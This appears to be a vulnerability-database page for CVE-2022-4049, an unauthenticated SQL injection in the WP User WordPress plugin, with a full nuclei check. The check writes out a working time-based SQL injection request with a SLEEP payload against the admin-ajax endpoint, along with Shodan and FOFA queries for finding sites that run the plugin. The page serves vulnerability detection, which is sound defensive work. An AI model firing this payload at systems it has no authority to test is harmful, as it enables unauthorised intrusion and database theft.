HexBrain

Browse / CVEs / CVE-2022-4049

CVE-2022-4049· wp user project / wp user· CWE-89

WP User <= 7.0 - Unauthenticated SQLi

criticalseverity
9.8CVSS score
5.1%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

The WP User WordPress plugin through 7.0 does not properly sanitize and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users.

Impact

Unauthenticated attackers can execute time-based blind SQL injection through the id parameter in wpuser_group_action AJAX endpoint, potentially extracting sensitive database information including user credentials, personal data, and WordPress configuration.

Fix

Update WP User plugin to a version later than 7.0 that properly sanitizes and parameterizes the id parameter in admin-ajax.php.

How to confirm it

Send: GET {{path}} ; @timeout: 20s
Positive when: duration>=6 and status_code == 200 and contains(header_2, "text/html") and contains(body_2, 'Invalid Access')

Run it with nuclei: nuclei -id CVE-2022-4049 -u <target>

The full check
id: CVE-2022-4049

info:
  name: WP User <= 7.0 - Unauthenticated SQLi
  author: theamanrawat
  severity: critical
  description: |
    The WP User WordPress plugin through 7.0 does not properly sanitize and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users.
  impact: |
    Unauthenticated attackers can execute time-based blind SQL injection through the id parameter in wpuser_group_action AJAX endpoint, potentially extracting sensitive database information including user credentials, personal data, and WordPress configuration.
  remediation: |
    Update WP User plugin to a version later than 7.0 that properly sanitizes and parameterizes the id parameter in admin-ajax.php.
  reference:
    - https://wpscan.com/vulnerability/9b0781e2-ad62-4308-bafc-d45b9a2472be
    - https://wordpress.org/plugins/wp-user/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4049
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4049
    cwe-id: CWE-89
    epss-score: 0.0509
    epss-percentile: 0.92422
    cpe: cpe:2.3:a:wp_user_project:wp_user:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: "true"
    max-request: 4
    vendor: wp_user_project
    product: wp_user
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/wp-user/
    fofa-query: body=/wp-content/plugins/wp-user/
    publicwww-query: /wp-content/plugins/wp-user/
  tags: time-based-sqli,cve,cve2022,sqli,wpscan,wordpress,wp-plugin,wp,wp-user,unauth,wp_user_project,vuln

http:
  - raw:
      - |
        GET {{path}} HTTP/1.1
        Host: {{Hostname}}
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpuser_group_action&group_action=x&wpuser_update_setting={{nonce}}&id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))khkM)

    attack: clusterbomb
    payloads:
      path:
        - "/index.php/user/"
        - "/user"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - status_code == 200
          - contains(header_2, "text/html")
          - contains(body_2, 'Invalid Access')
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - '"wpuser_update_setting":"([0-9a-zA-Z]+)"'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from